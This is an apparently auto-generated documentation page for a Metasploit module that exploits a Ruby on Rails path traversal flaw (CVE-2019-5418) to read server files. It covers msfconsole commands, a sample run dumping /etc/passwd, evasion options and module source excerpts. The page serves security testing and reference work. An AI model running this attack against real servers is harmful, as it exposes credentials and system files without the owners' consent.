Ruby On Rails File Content Disclosure ('doubletap') - Metasploit
This page contains detailed information about how to use the auxiliary/gather/rails_doubletap_file_read metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Ruby On Rails File Content Disclosure ('doubletap')
Module: auxiliary/gather/rails_doubletap_file_read
Source code: modules/auxiliary/gather/rails_doubletap_file_read.rb
Disclosure date: -
Last modification time: 2019-04-21 12:00:20 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-5418
This module is also known as DoubleTap.
This module uses a path traversal vulnerability in Ruby on Rails versions =< 5.2.2 to read files on a target server.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/gather/rails_doubletap_file_read
msf auxiliary(rails_doubletap_file_read) > show targets
... a list of targets ...
msf auxiliary(rails_doubletap_file_read) > set TARGET target-id
msf auxiliary(rails_doubletap_file_read) > show options
... show and set options ...
msf auxiliary(rails_doubletap_file_read) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Ruby on Rails versions <= 5.2.2. The following example shows how to recreate the vulnerable environment on Linux:
https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/
Verification Steps
- Start a Rails server using a vulnerable version
- Start msfconsole
- Do:
use auxiliary/gather/rails_doubletap_file_read
- Do:
set ROUTE /your_route
- Do:
set RHOSTS target
- Do:
set TARGET_FILE /absolute/path/to/remote/file.txt
- Do:
run
- If everything goes smoothly, you should get the contents of the remote file printed to the console.
Options
ROUTE
This is a web path or "route" on the vulnerable server. Since the vulnerability lies within the PathResolver of Rails, the route should be in the server's routes.rb file.
TARGET_FILE
This is the file to be read on the remote server. This must be an absolute path (eg. /etc/passwd).
Advanced Options
SKIP_CHECK
This options skips the initial vulnerability check and continues thinking the server is vulnerable.
Scenarios
Version of software and OS as applicable
msf5 > use auxiliary/gather/rails_doubletap_file_read
msf5 auxiliary(gather/rails_doubletap_file_read) > options
Module options (auxiliary/gather/rails_doubletap_file_read):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
ROUTE /msf yes A route on the vulnerable server.
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGET_FILE /etc/passwd yes The absolute path of remote file to read.
VHOST no HTTP server virtual host
msf5 auxiliary(gather/rails_doubletap_file_read) > set RHOSTS localhost
RHOSTS => localhost
msf5 auxiliary(gather/rails_doubletap_file_read) > set RPORT 8000
RPORT => 8000
smsf5 auxiliary(gather/rails_doubletap_file_read) > set ROUTE /demo
ROUTE => /demo
msf5 auxiliary(gather/rails_doubletap_file_read) > run
[*] Running module against 127.0.0.1
[+] Target is vulnerable!
[*] Requesting file /etc/passwd
[+] Response from server:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...snip...
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
postgres:x:105:112:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
[*] Auxiliary module execution completed
Go back to menu.
Msfconsole Usage
Here is how the gather/rails_doubletap_file_read auxiliary module looks in the msfconsole:
msf6 > use auxiliary/gather/rails_doubletap_file_read
msf6 auxiliary(gather/rails_doubletap_file_read) > show info
Name: Ruby On Rails File Content Disclosure ('doubletap')
Module: auxiliary/gather/rails_doubletap_file_read
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Carter Brainerd <[email protected]>
John Hawthorn <[email protected]>
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 10 yes The depth of the traversal.
PRINT_RESULTS true yes Print results of module (may hang with large amounts of data).
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
ROUTE /home yes A route on the vulnerable server.
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGET_FILE /etc/passwd yes The absolute path of remote file to read.
VHOST no HTTP server virtual host
Description:
This module uses a path traversal vulnerability in Ruby on Rails
versions =< 5.2.2 to read files on a target server.
References:
https://hackerone.com/reports/473888
https://github.com/mpgn/Rails-doubletap-RCE
https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q
https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/
https://nvd.nist.gov/vuln/detail/CVE-2019-5418
https://www.exploit-db.com/exploits/46585
Also known as:
DoubleTap
Module Options
This is a complete list of options available in the gather/rails_doubletap_file_read auxiliary module:
msf6 auxiliary(gather/rails_doubletap_file_read) > show options
Module options (auxiliary/gather/rails_doubletap_file_read):
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 10 yes The depth of the traversal.
PRINT_RESULTS true yes Print results of module (may hang with large amounts of data).
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
ROUTE /home yes A route on the vulnerable server.
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGET_FILE /etc/passwd yes The absolute path of remote file to read.
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the gather/rails_doubletap_file_read auxiliary module:
msf6 auxiliary(gather/rails_doubletap_file_read) > show advanced
Module advanced options (auxiliary/gather/rails_doubletap_file_read):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SkipCheck false yes Skip the initial vulnerability check.
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the gather/rails_doubletap_file_read module can do:
msf6 auxiliary(gather/rails_doubletap_file_read) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the gather/rails_doubletap_file_read auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(gather/rails_doubletap_file_read) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
- TARGET_FILE must be an absolute path (eg. /etc/passwd).
- Request timed out.
- Target is not vulnerable. Make sure your route is correct.
- Check did not pass, exiting.
- TARGET_FILE must be an absolute path (eg. /etc/passwd).
- Request timed out.
- Failed to read file: <TARGET_FILE>. HTTP error: <RES.CODE>.
- User probably doesnt have access to the requested file.
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
TARGET_FILE must be an absolute path (eg. /etc/passwd).
Here is a relevant code snippet related to the "TARGET_FILE must be an absolute path (eg. /etc/passwd)." error message:
58:
59: def check
60: return true if datastore['SkipCheck']
61: # Check if target file is absolute path
62: unless datastore['TARGET_FILE'].start_with? '/'
63: vprint_error "TARGET_FILE must be an absolute path (eg. /etc/passwd)."
64: return Exploit::CheckCode::Unknown
65: end
66:
67: # Fire off the request
68: res = send_request_cgi({
Request timed out.
Here is a relevant code snippet related to the "Request timed out." error message:
70: 'uri' => normalize_uri(datastore['ROUTE']),
71: 'headers' => { 'Accept' => get_accept_header_value(datastore['DEPTH'], '/etc/passwd')}
72: })
73:
74: if res.nil?
75: vprint_error "Request timed out."
76: return Exploit::CheckCode::Unknown
77: end
78:
79: if res.body.include? 'root:x:0:0:root:'
80: return Exploit::CheckCode::Vulnerable
Target is not vulnerable. Make sure your route is correct.
Here is a relevant code snippet related to the "Target is not vulnerable. Make sure your route is correct." error message:
77: end
78:
79: if res.body.include? 'root:x:0:0:root:'
80: return Exploit::CheckCode::Vulnerable
81: else
82: vprint_error 'Target is not vulnerable. Make sure your route is correct.'
83: return Exploit::CheckCode::Unknown
84: end
85: end
86:
87: def run
Check did not pass, exiting.
Here is a relevant code snippet related to the "Check did not pass, exiting." error message:
84: end
85: end
86:
87: def run
88: unless check == Exploit::CheckCode::Vulnerable
89: print_error 'Check did not pass, exiting.'
90: return
91: end
92:
93: fail_with(Failure::BadConfig, 'TARGET_FILE must be an absolute path (eg. /etc/passwd).') unless datastore['TARGET_FILE'].start_with? '/'
94:
TARGET_FILE must be an absolute path (eg. /etc/passwd).
Here is a relevant code snippet related to the "TARGET_FILE must be an absolute path (eg. /etc/passwd)." error message:
88: unless check == Exploit::CheckCode::Vulnerable
89: print_error 'Check did not pass, exiting.'
90: return
91: end
92:
93: fail_with(Failure::BadConfig, 'TARGET_FILE must be an absolute path (eg. /etc/passwd).') unless datastore['TARGET_FILE'].start_with? '/'
94:
95:
96: print_status "Requesting file #{datastore['TARGET_FILE']}"
97:
98: res = send_request_cgi({
Request timed out.
Here is a relevant code snippet related to the "Request timed out." error message:
100: 'uri' => normalize_uri(datastore['ROUTE']),
101: 'headers' => { 'Accept' => get_accept_header_value(datastore['DEPTH'], datastore['TARGET_FILE'])}
102: })
103:
104: if res.nil?
105: print_error "Request timed out."
106: return
107: end
108:
109: unless res.code == 200
110: print_error "Failed to read file: #{datastore['TARGET_FILE']}. HTTP error: #{res.code}."
Failed to read file: <TARGET_FILE>. HTTP error: <RES.CODE>.
Here is a relevant code snippet related to the "Failed to read file: <TARGET_FILE>. HTTP error: <RES.CODE>." error message:
105: print_error "Request timed out."
106: return
107: end
108:
109: unless res.code == 200
110: print_error "Failed to read file: #{datastore['TARGET_FILE']}. HTTP error: #{res.code}."
111: print_error 'User probably doesnt have access to the requested file.' if res.code == 500
112: return
113: end
114:
115: unless datastore['PRINT_RESULTS']
User probably doesnt have access to the requested file.
Here is a relevant code snippet related to the "User probably doesnt have access to the requested file." error message:
106: return
107: end
108:
109: unless res.code == 200
110: print_error "Failed to read file: #{datastore['TARGET_FILE']}. HTTP error: #{res.code}."
111: print_error 'User probably doesnt have access to the requested file.' if res.code == 500
112: return
113: end
114:
115: unless datastore['PRINT_RESULTS']
116: print_good 'Response from server:'
Go back to menu.
Related Pull Requests
- #11763 Merged Pull Request: Fix "search" bug
- #11646 Merged Pull Request: Add module for Rails "DoubleTap" vulnerability
References
- https://hackerone.com/reports/473888
- https://github.com/mpgn/Rails-doubletap-RCE
- https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q
- https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/
- CVE-2019-5418
- EDB-46585
See Also
Check also the following modules related to this module:
- auxiliary/admin/http/rails_devise_pass_reset
- auxiliary/dos/http/rails_action_view
- auxiliary/dos/http/rails_json_float_dos
- auxiliary/scanner/http/rails_json_yaml_scanner
- auxiliary/scanner/http/rails_mass_assignment
- auxiliary/scanner/http/rails_xml_yaml_scanner
- exploit/multi/http/rails_actionpack_inline_exec
- exploit/multi/http/rails_double_tap
- exploit/multi/http/rails_dynamic_render_code_exec
- exploit/multi/http/rails_json_yaml_code_exec
- exploit/multi/http/rails_secret_deserialization
- exploit/multi/http/rails_web_console_v2_code_exec
- exploit/multi/http/rails_xml_yaml_code_exec
- auxiliary/admin/http/nexpose_xxe_file_read
- auxiliary/scanner/http/accellion_fta_statecode_file_read
- auxiliary/scanner/http/cassandra_web_file_read
- auxiliary/scanner/http/riverbed_steelhead_vcx_file_read
- auxiliary/scanner/http/wp_dukapress_file_read
- auxiliary/scanner/http/wp_duplicator_file_read
- auxiliary/scanner/http/wp_gimedia_library_file_read
- auxiliary/scanner/http/wp_mobileedition_file_read
- auxiliary/scanner/http/wp_nextgen_galley_file_read
- auxiliary/scanner/http/wp_simple_backup_file_read
- auxiliary/scanner/http/wp_subscribe_comments_file_read
- auxiliary/scanner/varnish/varnish_cli_file_read
- auxiliary/gather/android_browser_file_theft
- auxiliary/gather/android_htmlfileprovider
- auxiliary/gather/darkcomet_filedownloader
- auxiliary/gather/firefox_pdfjs_file_theft
- auxiliary/gather/ie_sandbox_findfiles
- auxiliary/gather/mikrotik_winbox_fileread
- auxiliary/gather/nuuo_cms_file_download
- auxiliary/gather/pulse_secure_file_disclosure
- auxiliary/gather/safari_file_url_navigation
Related Nessus plugins:
- Fedora 30 : 1:rubygem-actionmailer / 1:rubygem-actionpack / etc (2019-1cfe24db5c)
- openSUSE Security Update : rmt-server (openSUSE-2020-1993)
- openSUSE Security Update : rmt-server (openSUSE-2020-2000)
- SUSE SLES15 Security Update : rmt-server (SUSE-SU-2020:3147-1)
- SUSE SLES15 Security Update : rmt-server (SUSE-SU-2020:3160-1)
- SUSE SLES15 Security Update : rmt-server (SUSE-SU-2020:3036-1)
Authors
- Carter Brainerd <[email protected]>
- John Hawthorn <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.